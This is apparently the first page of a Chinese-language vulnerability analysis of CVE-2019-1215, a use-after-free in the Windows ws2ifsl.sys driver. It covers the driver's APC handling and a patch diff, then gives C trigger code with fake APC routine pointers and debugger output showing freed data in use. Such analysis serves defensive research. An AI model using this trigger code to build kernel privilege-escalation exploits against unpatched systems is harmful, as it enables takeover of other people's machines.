在这篇文章中,我们将对近期刚刚修复的用后释放漏洞(CVE-2019-1215)进行分析,该漏洞存在于ws2ifsl.sys中,一旦成功利用,攻击者将有可能实现本地提权。在此之前,Windows 7、Windows 8、Windows 10、Windows 2008、Windows 2012和Windows 2019都存在这个漏洞,但是微软已经在2019年9月份成功将其修复了。

接下来,我们将对漏洞的成因进行分析,并尝试在Windows 10 19H1(1903)x64平台上进行测试。

ws2ifsl介绍

ws2ifsl组件是一个与winsocket相关的驱动程序,这个驱动程序可以实现两个对象:

一个进程对象

一个socket对象

这个驱动程序实现了几个调度程序,在调用NtCreateFile时,文件名会被设置为\Device\WS2IFSL\,将调用DispatchCreate函数,函数将根据文件名中的_FILE_FULL_EA_INFORMATION.EaName字符串进行判断,如果是NifsPvd,它将调用CreateProcessFile,如果是NifsSct,它将调用CreateSocketFile。

CreateSocketFile和CreateProcessFile函数都创建内部对象,称为“procData”和“socketData”。创建后,这些对象将保存在文件对象的_FILE_OBJECT.FsContext中,而这个文件对象是在dispatch routine中创建的。

文件对象可以在用户模式中访问,即从NtCreateFile返回的句柄对象。该句柄可用于执行DeviceIoControl或调用WriteFile。“procData”和“sockedData”对象并没有直接引用ObfReferenceObject和ObfDereferenceObject,而是引用了底层的文件对象。除此之外,驱动程序实现了两个APC对象,分别为“request queue”和“cancel queue”。APC机制是在另一个线程中异步执行函数,因为可以在另一个线程中强制执行多个APC,所以内核实现了一个队列,其中存储了所有要执行的APC。

“procData”对象包含这两个APC对象,并由CreateProcessFile在initializerqueue和InitializeCancelQueue中初始化。一个APC对象由KeInitializeApc初始化,并接收一个目标线程和一个函数作为参数。此外,还设置了处理器模式(内核或用户模式)以及RundownRoutine。如果是ws2ifsl,则RundownRoutine为 RequestRundownRoutine和 CancelRundownRoutine,则处理器模式设置为用户模式。这些RundownRoutine用于清理,如果线程有机会在APC内部执行之前死亡,则由内核调用。之所以会发生这种情况,是因为仅当APC设置为alertable状态时,才进入线程内执行它。例如,如果调用SleepEx时第二个参数设置为TRUE,则可以将线程设置为alertable状态。

驱动程序还在DispatchReadWrite中实现了一个读写dispatch的程序,并且只有socket对象可访问,它还可以调用DOSocketReadWrite。这个函数通过调用SignalRequest函数并使用nt!KeInsertQueueApc函数来将APC元素添加到APC队列中。

与驱动进行通信

在某些情况下,驱动程序将会自动创建符号链接,并且其名称可以用作CreateFileA的文件名 ,但是ws2ifsl并非如此。它只能在nt!IoCreateDevice的DeviceName设置为 ‘DeviceWS2IFSL’情况下调用。但是,我们通过调用本地API NtOpenFile,就可以访问派遣函数ws2ifsl!DispatchCreate了。相关代码如下:

HANDLE fileHandle = 0;

UNICODE_STRING deviceName;

RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL");

OBJECT_ATTRIBUTES object;

InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

IO_STATUS_BLOCK IoStatusBlock ;

NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);

DispatchCreate函数会检查调用的扩展属性,该属性只能通过NtCreateFile系统调用进行设置。

针对process对象,扩展属性(ea)数据缓冲区中必须包含一个属于当前进程的线程句柄,在之后的才做中将需要使用到这个线程句柄。

补丁分析

首先,我们需要对ws2ifsl未修复版本(10.0.18362.1)和修复版本(10.0.18362.356)进行对比。

修复的函数如下:

CreateProcessFile

DispatchClose

SignalCancel

SignalRequest

RequestRundownRoutine

CancelRundownRoutine

修复后的版本多了一个函数:

DereferenceProcessContext

其中最明显的是,所有修复后的函数都包含了针对新函数DereferenceProcessContext的调用:

“procData”对象新增了一个新成员,并使用了引用计数。比如说,在负责所有初始化的CreateProcessFile中,这个新成员都被设置为1。

旧版本:

procData->tag = 'corP';

*(_QWORD *)&procData->processId = PsGetCurrentProcessId();

procData->field_100 = 0;

新版本:

procData->tag = 'corP';

*(_QWORD *)&procData->processId = PsGetCurrentProcessId();

procData->dword100 = 0;

procData->referenceCounter = 1i64; // new

DereferenceProcessContex函数将会检查引用计数,并调用nt!ExFreePoolWithTag。

新版的DispatchClose函数将从调用nt!ExFreePoolWithTag改变为调用DereferenceProcessContext,也就是说,如果引用计数不是零,那么“procData”将不会被释放,只会将其引用计数递减一。

修复后的SignalRequest会在调用nt!KeInsertQueueApc之前增加referenceCounter。

漏洞之所以会存在,就是因为即使请求一个已在队列中的APC,DispatchClose函数仍然可以释放“procData”对象。每当关闭文件句柄的最后一个引用时(通过调用CloseHandle),就会调用DispatchClose函数。

新版本通过使用新的referenceCounter来确保缓冲区只有在最后一个引用被删除之后才会被释放。如果是RundownRoutine(包含引用),则在函数末尾删除 DereferenceProcessContext引用,并在调用nt!KeInsertQueueApc之前让引用计数加一。如果发生错误,该引用也会被删除(避免内存泄漏)。

漏洞触发

要触发这个漏洞,我们首先要创建一个“procData”句柄和一个“socketData”句柄,然后向“socketData”写入恶意数据并关闭两个句柄。接下来,线程将会终止调用APC RundownRoutine,并处理释放的数据。

漏洞触发代码:

<..>

in CreateProceSSHandle:

 

    g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);

    eaData->a1 = (void*)g_hThread1; // thread must be in current process

    eaData->a2 = (void*)0x2222222;  // fake APC Routine

    eaData->a3 = (void*)0x3333333;  // fake cancel Rundown Routine

    eaData->a4 = (void*)0x4444444;

    eaData->a5 = (void*)0x5555555;

    

    NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));

    DWORD supSuc = SuspendThread(g_hThread1);

<..>

in main:

 

HANDLE procHandle = CreateProcessHandle();

HANDLE sockHandle = CreateSocketHandle(procHandle);

 

char* writeBuffer = (char*) malloc(0x100);

    

IO_STATUS_BLOCK io;

LARGE_INTEGER byteOffset;

byteOffset.HighPart = 0;

byteOffset.LowPart = 0;

byteOffset.QuadPart = 0;

byteOffset.u.LowPart = 0;

byteOffset.u.HighPart = 0;

ULONG key = 0

 

CloseHandle(procHandle);

 

NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);

在DispatchClose释放处设置一个断点,我们将会看到:

Breakpoint 2 hit

ws2ifsl!DispatchClose+0x7d:

fffff806`1b8e71cd e8ceeef3fb      call    nt!ExFreePool (fffff806`178260a0)

1: kd> db rcx

ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

1: kd> g

Breakpoint 0 hit

ws2ifsl!RequestRundownRoutine:

fffff806`1b8e12d0 48895c2408      mov     qword ptr [rsp+8],rbx

0: kd> db rcx-30

ffffae0d`ceafbc70  50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00  Proc............

因为procData对象已经被释放,所以RundownRoutine将处理释放的数据。一般来说此时不会发生崩溃,因为数据块没有重新分配。

    内容分页 1 2
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。